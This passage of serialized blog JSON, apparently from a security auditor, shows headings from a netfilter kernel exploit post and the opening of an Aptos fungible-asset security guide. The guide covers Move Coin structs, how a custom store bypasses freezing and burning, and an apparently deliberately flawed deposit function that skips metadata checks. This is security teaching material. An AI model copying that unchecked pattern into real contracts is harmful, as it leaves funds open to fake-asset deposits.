live.",{"type":23,"tag":14130,"props":72056,"children":72057},{},[72058],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":72060},[72061,72064,72067,72070,72071,72081,72089,72090],{"id":61752,"depth":100,"text":61755,"children":72062},[72063],{"id":61773,"depth":121,"text":61776},{"id":61816,"depth":100,"text":61816,"children":72065},[72066],{"id":61863,"depth":121,"text":61866},{"id":61921,"depth":100,"text":61924,"children":72068},[72069],{"id":63084,"depth":121,"text":63087},{"id":64958,"depth":100,"text":64961},{"id":65360,"depth":100,"text":65363,"children":72072},[72073,72074,72075,72077,72078,72079,72080],{"id":65387,"depth":121,"text":65390},{"id":66269,"depth":121,"text":66272},{"id":66854,"depth":121,"text":72076},"Leaking self pointer of nft_object",{"id":67252,"depth":121,"text":67255},{"id":67766,"depth":121,"text":67769},{"id":67896,"depth":121,"text":67553},{"id":68580,"depth":121,"text":68583},{"id":68603,"depth":100,"text":68606,"children":72082},[72083,72084,72085,72086,72088],{"id":68614,"depth":121,"text":68617},{"id":69471,"depth":121,"text":69474},{"id":69547,"depth":121,"text":69550},{"id":71170,"depth":121,"text":72087},"Overwriting modprobe_path",{"id":71986,"depth":121,"text":71989},{"id":72004,"depth":100,"text":72007},{"id":14115,"depth":100,"text":14118},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":72095,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":72096,"description":72097,"image":72098,"date":72100,"isFeatured":15,"onBlogPage":15,"tags":72101,"body":72102,"_type":14157,"_id":78814,"_source":14159,"_file":78815,"_stem":78816,"_extension":14162},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":72099,"width":16657,"height":16658},"/posts/aptos-guide/title.png","2025-02-10",[17149],{"type":20,"children":72103,"toc":78798},[72104,72117,72122,72131,72137,72165,72238,72278,72312,72473,72492,72573,72613,72641,72658,72663,72671,72676,72682,72703,72782,72815,72823,72836,72841,73224,73229,73234,73240,73245,73257,73361,73399,73402,73420,73728,73733,73745,73751,73777,73798,73803,73981,74001,74007,74027,74039,74044,74050,74062,74125,74152,74176,74397,74400,74419,74529,74586,74722,74749,74755,74781,75025,75053,75355,75388,75402,75428,75461,75766,75778,76055,76069,76386,76405,76411,76443,76483,76584,76604,76724,76741,76815,76827,76915,76936,76942,76947,76952,76969,76990,77361,77420,77425,77876,77881,77917,77923,77935,77957,77983,78190,78204,78458,78470,78497,78648,78667,78697,78701,78712,78717,78730,78794],{"type":23,"tag":32,"props":72105,"children":72106},{},[72107,72109,72115],{"type":29,"value":72108},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":71,"props":72110,"children":72112},{"className":72111},[],[72113],{"type":29,"value":72114},"coin",{"type":29,"value":72116}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":32,"props":72118,"children":72119},{},[72120],{"type":29,"value":72121},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":72123,"props":72124,"children":72125},"important",{},[72126],{"type":23,"tag":32,"props":72127,"children":72128},{},[72129],{"type":29,"value":72130},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":24,"props":72132,"children":72134},{"id":72133},"aptos-coin-standard",[72135],{"type":29,"value":72136},"Aptos Coin standard",{"type":23,"tag":32,"props":72138,"children":72139},{},[72140,72142,72148,72150,72155,72156,72163],{"type":29,"value":72141},"In the beginning, Aptos used ",{"type":23,"tag":71,"props":72143,"children":72145},{"className":72144},[],[72146],{"type":29,"value":72147},"Coin",{"type":29,"value":72149},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":71,"props":72151,"children":72153},{"className":72152},[],[72154],{"type":29,"value":72147},{"type":29,"value":16773},{"type":23,"tag":940,"props":72157,"children":72160},{"href":72158,"rel":72159},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[944],[72161],{"type":29,"value":72162},"defined",{"type":29,"value":72164}," in Aptos as follows:",{"type":23,"tag":64,"props":72166,"children":72168},{"className":987,"code":72167,"language":986,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[72169],{"type":23,"tag":71,"props":72170,"children":72171},{"__ignoreMap":7},[72172,72211,72231],{"type":23,"tag":75,"props":72173,"children":72174},{"class":77,"line":78},[72175,72179,72183,72187,72191,72195,72199,72203,72207],{"type":23,"tag":75,"props":72176,"children":72177},{"style":82},[72178],{"type":29,"value":20652},{"type":23,"tag":75,"props":72180,"children":72181},{"style":104},[72182],{"type":29,"value":17072},{"type":23,"tag":75,"props":72184,"children":72185},{"style":94},[72186],{"type":29,"value":295},{"type":23,"tag":75,"props":72188,"children":72189},{"style":110},[72190],{"type":29,"value":17081},{"type":23,"tag":75,"props":72192,"children":72193},{"style":104},[72194],{"type":29,"value":17086},{"type":23,"tag":75,"props":72196,"children":72197},{"style":94},[72198],{"type":29,"value":17091},{"type":23,"tag":75,"props":72200,"children":72201},{"style":110},[72202],{"type":29,"value":17096},{"type":23,"tag":75,"props":72204,"children":72205},{"style":110},[72206],{"type":29,"value":2450},{"type":23,"tag":75,"props":72208,"children":72209},{"style":94},[72210],{"type":29,"value":401},{"type":23,"tag":75,"props":72212,"children":72213},{"class":77,"line":100},[72214,72219,72223,72227],{"type":23,"tag":75,"props":72215,"children":72216},{"style":110},[72217],{"type":29,"value":72218},"    value",{"type":23,"tag":75,"props":72220,"children":72221},{"style":209},[72222],{"type":29,"value":1018},{"type":23,"tag":75,"props":72224,"children":72225},{"style":104},[72226],{"type":29,"value":17129},{"type":23,"tag":75,"props":72228,"children":72229},{"style":94},[72230],{"type":29,"value":118},{"type":23,"tag":75,"props":72232,"children":72233},{"class":77,"line":121},[72234],{"type":23,"tag":75,"props":72235,"children":72236},{"style":94},[72237],{"type":29,"value":369},{"type":23,"tag":32,"props":72239,"children":72240},{},[72241,72243,72248,72250,72256,72257,72263,72265,72270,72272,72277],{"type":29,"value":72242},"Aptos distinguishes coins by their type (",{"type":23,"tag":71,"props":72244,"children":72246},{"className":72245},[],[72247],{"type":29,"value":17849},{"type":29,"value":72249},") at compile time. For example, ",{"type":23,"tag":71,"props":72251,"children":72253},{"className":72252},[],[72254],{"type":29,"value":72255},"Coin\u003COtter>",{"type":29,"value":2721},{"type":23,"tag":71,"props":72258,"children":72260},{"className":72259},[],[72261],{"type":29,"value":72262},"Coin\u003CWeasel>",{"type":29,"value":72264}," represent different coins, and you cannot pass a ",{"type":23,"tag":71,"props":72266,"children":72268},{"className":72267},[],[72269],{"type":29,"value":72262},{"type":29,"value":72271}," to a function expecting ",{"type":23,"tag":71,"props":72273,"children":72275},{"className":72274},[],[72276],{"type":29,"value":72255},{"type":29,"value":557},{"type":23,"tag":32,"props":72279,"children":72280},{},[72281,72283,72288,72290,72295,72297,72302,72304,72310],{"type":29,"value":72282},"The type signature reveals why ",{"type":23,"tag":71,"props":72284,"children":72286},{"className":72285},[],[72287],{"type":29,"value":72147},{"type":29,"value":72289}," has become a legacy standard. ",{"type":23,"tag":71,"props":72291,"children":72293},{"className":72292},[],[72294],{"type":29,"value":72147},{"type":29,"value":72296}," has only the ",{"type":23,"tag":71,"props":72298,"children":72300},{"className":72299},[],[72301],{"type":29,"value":2411},{"type":29,"value":72303}," ability and uses a ",{"type":23,"tag":71,"props":72305,"children":72307},{"className":72306},[],[72308],{"type":29,"value":72309},"CoinStore",{"type":29,"value":72311}," wrapper to store the coin and metadata:",{"type":23,"tag":64,"props":72313,"children":72315},{"className":987,"code":72314,"language":986,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[72316],{"type":23,"tag":71,"props":72317,"children":72318},{"__ignoreMap":7},[72319,72359,72387,72407,72437,72466],{"type":23,"tag":75,"props":72320,"children":72321},{"class":77,"line":78},[72322,72326,72331,72335,72339,72343,72347,72351,72355],{"type":23,"tag":75,"props":72323,"children":72324},{"style":82},[72325],{"type":29,"value":20652},{"type":23,"tag":75,"props":72327,"children":72328},{"style":104},[72329],{"type":29,"value":72330}," CoinStore",{"type":23,"tag":75,"props":72332,"children":72333},{"style":94},[72334],{"type":29,"value":295},{"type":23,"tag":75,"props":72336,"children":72337},{"style":110},[72338],{"type":29,"value":17081},{"type":23,"tag":75,"props":72340,"children":72341},{"style":104},[72342],{"type":29,"value":17086},{"type":23,"tag":75,"props":72344,"children":72345},{"style":94},[72346],{"type":29,"value":17091},{"type":23,"tag":75,"props":72348,"children":72349},{"style":110},[72350],{"type":29,"value":17096},{"type":23,"tag":75,"props":72352,"children":72353},{"style":110},[72354],{"type":29,"value":1663},{"type":23,"tag":75,"props":72356,"children":72357},{"style":94},[72358],{"type":29,"value":401},{"type":23,"tag":75,"props":72360,"children":72361},{"class":77,"line":100},[72362,72367,72371,72375,72379,72383],{"type":23,"tag":75,"props":72363,"children":72364},{"style":110},[72365],{"type":29,"value":72366},"    coin",{"type":23,"tag":75,"props":72368,"children":72369},{"style":209},[72370],{"type":29,"value":1018},{"type":23,"tag":75,"props":72372,"children":72373},{"style":104},[72374],{"type":29,"value":17072},{"type":23,"tag":75,"props":72376,"children":72377},{"style":94},[72378],{"type":29,"value":295},{"type":23,"tag":75,"props":72380,"children":72381},{"style":104},[72382],{"type":29,"value":17849},{"type":23,"tag":75,"props":72384,"children":72385},{"style":94},[72386],{"type":29,"value":1114},{"type":23,"tag":75,"props":72388,"children":72389},{"class":77,"line":121},[72390,72395,72399,72403],{"type":23,"tag":75,"props":72391,"children":72392},{"style":110},[72393],{"type":29,"value":72394},"    frozen",{"type":23,"tag":75,"props":72396,"children":72397},{"style":209},[72398],{"type":29,"value":1018},{"type":23,"tag":75,"props":72400,"children":72401},{"style":104},[72402],{"type":29,"value":3001},{"type":23,"tag":75,"props":72404,"children":72405},{"style":94},[72406],{"type":29,"value":118},{"type":23,"tag":75,"props":72408,"children":72409},{"class":77,"line":138},[72410,72415,72419,72424,72428,72433],{"type":23,"tag":75,"props":72411,"children":72412},{"style":110},[72413],{"type":29,"value":72414},"    deposit_events",{"type":23,"tag":75,"props":72416,"children":72417},{"style":209},[72418],{"type":29,"value":1018},{"type":23,"tag":75,"props":72420,"children":72421},{"style":104},[72422],{"type":29,"value":72423}," EventHandle",{"type":23,"tag":75,"props":72425,"children":72426},{"style":94},[72427],{"type":29,"value":295},{"type":23,"tag":75,"props":72429,"children":72430},{"style":104},[72431],{"type":29,"value":72432},"DepositEvent",{"type":23,"tag":75,"props":72434,"children":72435},{"style":94},[72436],{"type":29,"value":1114},{"type":23,"tag":75,"props":72438,"children":72439},{"class":77,"line":161},[72440,72445,72449,72453,72457,72462],{"type":23,"tag":75,"props":72441,"children":72442},{"style":110},[72443],{"type":29,"value":72444},"    withdraw_events",{"type":23,"tag":75,"props":72446,"children":72447},{"style":209},[72448],{"type":29,"value":1018},{"type":23,"tag":75,"props":72450,"children":72451},{"style":104},[72452],{"type":29,"value":72423},{"type":23,"tag":75,"props":72454,"children":72455},{"style":94},[72456],{"type":29,"value":295},{"type":23,"tag":75,"props":72458,"children":72459},{"style":104},[72460],{"type":29,"value":72461},"WithdrawEvent",{"type":23,"tag":75,"props":72463,"children":72464},{"style":94},[72465],{"type":29,"value":1114},{"type":23,"tag":75,"props":72467,"children":72468},{"class":77,"line":196},[72469],{"type":23,"tag":75,"props":72470,"children":72471},{"style":94},[72472],{"type":29,"value":369},{"type":23,"tag":32,"props":72474,"children":72475},{},[72476,72478,72483,72485,72490],{"type":29,"value":72477},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":71,"props":72479,"children":72481},{"className":72480},[],[72482],{"type":29,"value":72147},{"type":29,"value":72484}," can be stored. You can create your own ",{"type":23,"tag":71,"props":72486,"children":72488},{"className":72487},[],[72489],{"type":29,"value":72147},{"type":29,"value":72491}," wallet, which could look like this:",{"type":23,"tag":64,"props":72493,"children":72495},{"className":987,"code":72494,"language":986,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[72496],{"type":23,"tag":71,"props":72497,"children":72498},{"__ignoreMap":7},[72499,72539,72566],{"type":23,"tag":75,"props":72500,"children":72501},{"class":77,"line":78},[72502,72506,72511,72515,72519,72523,72527,72531,72535],{"type":23,"tag":75,"props":72503,"children":72504},{"style":82},[72505],{"type":29,"value":20652},{"type":23,"tag":75,"props":72507,"children":72508},{"style":104},[72509],{"type":29,"value":72510}," DefinitelyLegitCoinStore",{"type":23,"tag":75,"props":72512,"children":72513},{"style":94},[72514],{"type":29,"value":295},{"type":23,"tag":75,"props":72516,"children":72517},{"style":110},[72518],{"type":29,"value":17081},{"type":23,"tag":75,"props":72520,"children":72521},{"style":104},[72522],{"type":29,"value":17086},{"type":23,"tag":75,"props":72524,"children":72525},{"style":94},[72526],{"type":29,"value":17091},{"type":23,"tag":75,"props":72528,"children":72529},{"style":110},[72530],{"type":29,"value":17096},{"type":23,"tag":75,"props":72532,"children":72533},{"style":110},[72534],{"type":29,"value":1663},{"type":23,"tag":75,"props":72536,"children":72537},{"style":94},[72538],{"type":29,"value":401},{"type":23,"tag":75,"props":72540,"children":72541},{"class":77,"line":100},[72542,72546,72550,72554,72558,72562],{"type":23,"tag":75,"props":72543,"children":72544},{"style":110},[72545],{"type":29,"value":72366},{"type":23,"tag":75,"props":72547,"children":72548},{"style":209},[72549],{"type":29,"value":1018},{"type":23,"tag":75,"props":72551,"children":72552},{"style":104},[72553],{"type":29,"value":17072},{"type":23,"tag":75,"props":72555,"children":72556},{"style":94},[72557],{"type":29,"value":295},{"type":23,"tag":75,"props":72559,"children":72560},{"style":104},[72561],{"type":29,"value":17849},{"type":23,"tag":75,"props":72563,"children":72564},{"style":94},[72565],{"type":29,"value":17260},{"type":23,"tag":75,"props":72567,"children":72568},{"class":77,"line":121},[72569],{"type":23,"tag":75,"props":72570,"children":72571},{"style":94},[72572],{"type":29,"value":369},{"type":23,"tag":32,"props":72574,"children":72575},{},[72576,72581,72583,72589,72591,72596,72598,72604,72606,72611],{"type":23,"tag":71,"props":72577,"children":72579},{"className":72578},[],[72580],{"type":29,"value":72309},{"type":29,"value":72582}," includes a ",{"type":23,"tag":71,"props":72584,"children":72586},{"className":72585},[],[72587],{"type":29,"value":72588},"frozen",{"type":29,"value":72590}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":71,"props":72592,"children":72594},{"className":72593},[],[72595],{"type":29,"value":72309},{"type":29,"value":72597}," is also required for a ",{"type":23,"tag":71,"props":72599,"children":72601},{"className":72600},[],[72602],{"type":29,"value":72603},"burn_from",{"type":29,"value":72605}," operation, which withdraws the ",{"type":23,"tag":71,"props":72607,"children":72609},{"className":72608},[],[72610],{"type":29,"value":72114},{"type":29,"value":72612}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":32,"props":72614,"children":72615},{},[72616,72618,72623,72625,72632,72634,72639],{"type":29,"value":72617},"Storing ",{"type":23,"tag":71,"props":72619,"children":72621},{"className":72620},[],[72622],{"type":29,"value":72114},{"type":29,"value":72624}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":940,"props":72626,"children":72629},{"href":72627,"rel":72628},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[944],[72630],{"type":29,"value":72631},"AIP-21",{"type":29,"value":72633}," summarizes the ",{"type":23,"tag":71,"props":72635,"children":72637},{"className":72636},[],[72638],{"type":29,"value":72114},{"type":29,"value":72640}," problems:",{"type":23,"tag":1829,"props":72642,"children":72643},{},[72644,72653],{"type":23,"tag":32,"props":72645,"children":72646},{},[72647,72651],{"type":23,"tag":75,"props":72648,"children":72649},{},[72650],{"type":29,"value":9174},{"type":29,"value":72652}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":32,"props":72654,"children":72655},{},[72656],{"type":29,"value":72657},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":32,"props":72659,"children":72660},{},[72661],{"type":29,"value":72662},"And declares, that:",{"type":23,"tag":1829,"props":72664,"children":72665},{},[72666],{"type":23,"tag":32,"props":72667,"children":72668},{},[72669],{"type":29,"value":72670},"Fungible assets addresses these issues.",{"type":23,"tag":32,"props":72672,"children":72673},{},[72674],{"type":29,"value":72675},"Let's find out whether this is indeed the case.",{"type":23,"tag":24,"props":72677,"children":72679},{"id":72678},"the-fungible-assets",[72680],{"type":29,"value":72681},"The fungible assets",{"type":23,"tag":32,"props":72683,"children":72684},{},[72685,72687,72693,72695,72702],{"type":29,"value":72686},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":71,"props":72688,"children":72690},{"className":72689},[],[72691],{"type":29,"value":72692},"FungibleAsset",{"type":29,"value":72694}," uses the ",{"type":23,"tag":940,"props":72696,"children":72699},{"href":72697,"rel":72698},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[944],[72700],{"type":29,"value":72701},"hot-potato pattern",{"type":29,"value":1018},{"type":23,"tag":64,"props":72704,"children":72706},{"className":987,"code":72705,"language":986,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[72707],{"type":23,"tag":71,"props":72708,"children":72709},{"__ignoreMap":7},[72710,72726,72756,72775],{"type":23,"tag":75,"props":72711,"children":72712},{"class":77,"line":78},[72713,72717,72722],{"type":23,"tag":75,"props":72714,"children":72715},{"style":82},[72716],{"type":29,"value":20652},{"type":23,"tag":75,"props":72718,"children":72719},{"style":104},[72720],{"type":29,"value":72721}," FungibleAsset",{"type":23,"tag":75,"props":72723,"children":72724},{"style":94},[72725],{"type":29,"value":401},{"type":23,"tag":75,"props":72727,"children":72728},{"class":77,"line":100},[72729,72734,72738,72743,72747,72752],{"type":23,"tag":75,"props":72730,"children":72731},{"style":110},[72732],{"type":29,"value":72733},"    metadata",{"type":23,"tag":75,"props":72735,"children":72736},{"style":209},[72737],{"type":29,"value":1018},{"type":23,"tag":75,"props":72739,"children":72740},{"style":104},[72741],{"type":29,"value":72742}," Object",{"type":23,"tag":75,"props":72744,"children":72745},{"style":94},[72746],{"type":29,"value":295},{"type":23,"tag":75,"props":72748,"children":72749},{"style":104},[72750],{"type":29,"value":72751},"Metadata",{"type":23,"tag":75,"props":72753,"children":72754},{"style":94},[72755],{"type":29,"value":1114},{"type":23,"tag":75,"props":72757,"children":72758},{"class":77,"line":121},[72759,72763,72767,72771],{"type":23,"tag":75,"props":72760,"children":72761},{"style":110},[72762],{"type":29,"value":7012},{"type":23,"tag":75,"props":72764,"children":72765},{"style":209},[72766],{"type":29,"value":1018},{"type":23,"tag":75,"props":72768,"children":72769},{"style":104},[72770],{"type":29,"value":17129},{"type":23,"tag":75,"props":72772,"children":72773},{"style":94},[72774],{"type":29,"value":118},{"type":23,"tag":75,"props":72776,"children":72777},{"class":77,"line":138},[72778],{"type":23,"tag":75,"props":72779,"children":72780},{"style":94},[72781],{"type":29,"value":369},{"type":23,"tag":32,"props":72783,"children":72784},{},[72785,72787,72792,72793,72798,72800,72805,72807,72814],{"type":29,"value":72786},"Unlike ",{"type":23,"tag":71,"props":72788,"children":72790},{"className":72789},[],[72791],{"type":29,"value":72147},{"type":29,"value":611},{"type":23,"tag":71,"props":72794,"children":72796},{"className":72795},[],[72797],{"type":29,"value":72692},{"type":29,"value":72799}," types are defined at runtime through the ",{"type":23,"tag":71,"props":72801,"children":72803},{"className":72802},[],[72804],{"type":29,"value":72751},{"type":29,"value":72806}," field. This change was meant to ",{"type":23,"tag":940,"props":72808,"children":72811},{"href":72809,"rel":72810},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[944],[72812],{"type":29,"value":72813},"enhance extensibility",{"type":29,"value":1018},{"type":23,"tag":1829,"props":72816,"children":72817},{},[72818],{"type":23,"tag":32,"props":72819,"children":72820},{},[72821],{"type":29,"value":72822},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":32,"props":72824,"children":72825},{},[72826,72828,72834],{"type":29,"value":72827},"An important implication is that functions accepting ",{"type":23,"tag":71,"props":72829,"children":72831},{"className":72830},[],[72832],{"type":29,"value":72833},"FungibleAssets",{"type":29,"value":72835}," must verify the metadata to ensure valid assets.",{"type":23,"tag":32,"props":72837,"children":72838},{},[72839],{"type":29,"value":72840},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":64,"props":72842,"children":72844},{"className":987,"code":72843,"language":986,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[72845],{"type":23,"tag":71,"props":72846,"children":72847},{"__ignoreMap":7},[72848,72884,72922,72946,72958,72966,73011,73045,73075,73082,73119,73126,73164,73171,73217],{"type":23,"tag":75,"props":72849,"children":72850},{"class":77,"line":78},[72851,72855,72859,72864,72868,72872,72876,72880],{"type":23,"tag":75,"props":72852,"children":72853},{"style":110},[72854],{"type":29,"value":172},{"type":23,"tag":75,"props":72856,"children":72857},{"style":110},[72858],{"type":29,"value":17474},{"type":23,"tag":75,"props":72860,"children":72861},{"style":110},[72862],{"type":29,"value":72863}," deposit",{"type":23,"tag":75,"props":72865,"children":72866},{"style":94},[72867],{"type":29,"value":295},{"type":23,"tag":75,"props":72869,"children":72870},{"style":104},[72871],{"type":29,"value":17255},{"type":23,"tag":75,"props":72873,"children":72874},{"style":209},[72875],{"type":29,"value":1018},{"type":23,"tag":75,"props":72877,"children":72878},{"style":110},[72879],{"type":29,"value":1663},{"type":23,"tag":75,"props":72881,"children":72882},{"style":94},[72883],{"type":29,"value":1064},{"type":23,"tag":75,"props":72885,"children":72886},{"class":77,"line":100},[72887,72892,72896,72900,72904,72908,72913,72917],{"type":23,"tag":75,"props":72888,"children":72889},{"style":110},[72890],{"type":29,"value":72891},"    sender",{"type":23,"tag":75,"props":72893,"children":72894},{"style":209},[72895],{"type":29,"value":1018},{"type":23,"tag":75,"props":72897,"children":72898},{"style":209},[72899],{"type":29,"value":844},{"type":23,"tag":75,"props":72901,"children":72902},{"style":110},[72903],{"type":29,"value":3270},{"type":23,"tag":75,"props":72905,"children":72906},{"style":94},[72907],{"type":29,"value":611},{"type":23,"tag":75,"props":72909,"children":72910},{"style":110},[72911],{"type":29,"value":72912},"fa",{"type":23,"tag":75,"props":72914,"children":72915},{"style":209},[72916],{"type":29,"value":1018},{"type":23,"tag":75,"props":72918,"children":72919},{"style":104},[72920],{"type":29,"value":72921}," FungibleAsset\n",{"type":23,"tag":75,"props":72923,"children":72924},{"class":77,"line":121},[72925,72929,72933,72937,72941],{"type":23,"tag":75,"props":72926,"children":72927},{"style":94},[72928],{"type":29,"value":167},{"type":23,"tag":75,"props":72930,"children":72931},{"style":110},[72932],{"type":29,"value":17611},{"type":23,"tag":75,"props":72934,"children":72935},{"style":94},[72936],{"type":29,"value":34247},{"type":23,"tag":75,"props":72938,"children":72939},{"style":209},[72940],{"type":29,"value":9174},{"type":23,"tag":75,"props":72942,"children":72943},{"style":94},[72944],{"type":29,"value":72945},"] {\n",{"type":23,"tag":75,"props":72947,"children":72948},{"class":77,"line":138},[72949,72954],{"type":23,"tag":75,"props":72950,"children":72951},{"style":88},[72952],{"type":29,"value":72953},"    assert_not_paused",{"type":23,"tag":75,"props":72955,"children":72956},{"style":94},[72957],{"type":29,"value":14944},{"type":23,"tag":75,"props":72959,"children":72960},{"class":77,"line":161},[72961],{"type":23,"tag":75,"props":72962,"children":72963},{"style":94},[72964],{"type":29,"value":72965},"    \n",{"type":23,"tag":75,"props":72967,"children":72968},{"class":77,"line":196},[72969,72973,72978,72982,72987,72991,72995,72999,73003,73007],{"type":23,"tag":75,"props":72970,"children":72971},{"style":82},[72972],{"type":29,"value":1183},{"type":23,"tag":75,"props":72974,"children":72975},{"style":110},[72976],{"type":29,"value":72977}," fa_amount",{"type":23,"tag":75,"props":72979,"children":72980},{"style":209},[72981],{"type":29,"value":1193},{"type":23,"tag":75,"props":72983,"children":72984},{"style":94},[72985],{"type":29,"value":72986}," fungible_asset",{"type":23,"tag":75,"props":72988,"children":72989},{"style":209},[72990],{"type":29,"value":1407},{"type":23,"tag":75,"props":72992,"children":72993},{"style":88},[72994],{"type":29,"value":31526},{"type":23,"tag":75,"props":72996,"children":72997},{"style":94},[72998],{"type":29,"value":643},{"type":23,"tag":75,"props":73000,"children":73001},{"style":209},[73002],{"type":29,"value":1277},{"type":23,"tag":75,"props":73004,"children":73005},{"style":110},[73006],{"type":29,"value":72912},{"type":23,"tag":75,"props":73008,"children":73009},{"style":94},[73010],{"type":29,"value":15099},{"type":23,"tag":75,"props":73012,"children":73013},{"class":77,"line":220},[73014,73018,73023,73027,73032,73036,73041],{"type":23,"tag":75,"props":73015,"children":73016},{"style":82},[73017],{"type":29,"value":1183},{"type":23,"tag":75,"props":73019,"children":73020},{"style":110},[73021],{"type":29,"value":73022}," sender_address",{"type":23,"tag":75,"props":73024,"children":73025},{"style":209},[73026],{"type":29,"value":1193},{"type":23,"tag":75,"props":73028,"children":73029},{"style":88},[73030],{"type":29,"value":73031}," address_of",{"type":23,"tag":75,"props":73033,"children":73034},{"style":94},[73035],{"type":29,"value":643},{"type":23,"tag":75,"props":73037,"children":73038},{"style":110},[73039],{"type":29,"value":73040},"sender",{"type":23,"tag":75,"props":73042,"children":73043},{"style":94},[73044],{"type":29,"value":15099},{"type":23,"tag":75,"props":73046,"children":73047},{"class":77,"line":248},[73048,73053,73057,73062,73066,73071],{"type":23,"tag":75,"props":73049,"children":73050},{"style":88},[73051],{"type":29,"value":73052},"    check_compliance",{"type":23,"tag":75,"props":73054,"children":73055},{"style":94},[73056],{"type":29,"value":643},{"type":23,"tag":75,"props":73058,"children":73059},{"style":110},[73060],{"type":29,"value":73061},"fa_amount",{"type":23,"tag":75,"props":73063,"children":73064},{"style":94},[73065],{"type":29,"value":611},{"type":23,"tag":75,"props":73067,"children":73068},{"style":110},[73069],{"type":29,"value":73070},"sender_address",{"type":23,"tag":75,"props":73072,"children":73073},{"style":94},[73074],{"type":29,"value":15099},{"type":23,"tag":75,"props":73076,"children":73077},{"class":77,"line":270},[73078],{"type":23,"tag":75,"props":73079,"children":73080},{"style":94},[73081],{"type":29,"value":72965},{"type":23,"tag":75,"props":73083,"children":73084},{"class":77,"line":279},[73085,73090,73094,73099,73103,73107,73111,73115],{"type":23,"tag":75,"props":73086,"children":73087},{"style":88},[73088],{"type":29,"value":73089},"    increase_deposit",{"type":23,"tag":75,"props":73091,"children":73092},{"style":94},[73093],{"type":29,"value":643},{"type":23,"tag":75,"props":73095,"children":73096},{"style":88},[73097],{"type":29,"value":73098},"get_vault",{"type":23,"tag":75,"props":73100,"children":73101},{"style":94},[73102],{"type":29,"value":643},{"type":23,"tag":75,"props":73104,"children":73105},{"style":110},[73106],{"type":29,"value":73070},{"type":23,"tag":75,"props":73108,"children":73109},{"style":94},[73110],{"type":29,"value":3851},{"type":23,"tag":75,"props":73112,"children":73113},{"style":110},[73114],{"type":29,"value":73061},{"type":23,"tag":75,"props":73116,"children":73117},{"style":94},[73118],{"type":29,"value":15099},{"type":23,"tag":75,"props":73120,"children":73121},{"class":77,"line":303},[73122],{"type":23,"tag":75,"props":73123,"children":73124},{"style":94},[73125],{"type":29,"value":72965},{"type":23,"tag":75,"props":73127,"children":73128},{"class":77,"line":322},[73129,73134,73138,73143,73147,73152,73156,73160],{"type":23,"tag":75,"props":73130,"children":73131},{"style":94},[73132],{"type":29,"value":73133},"    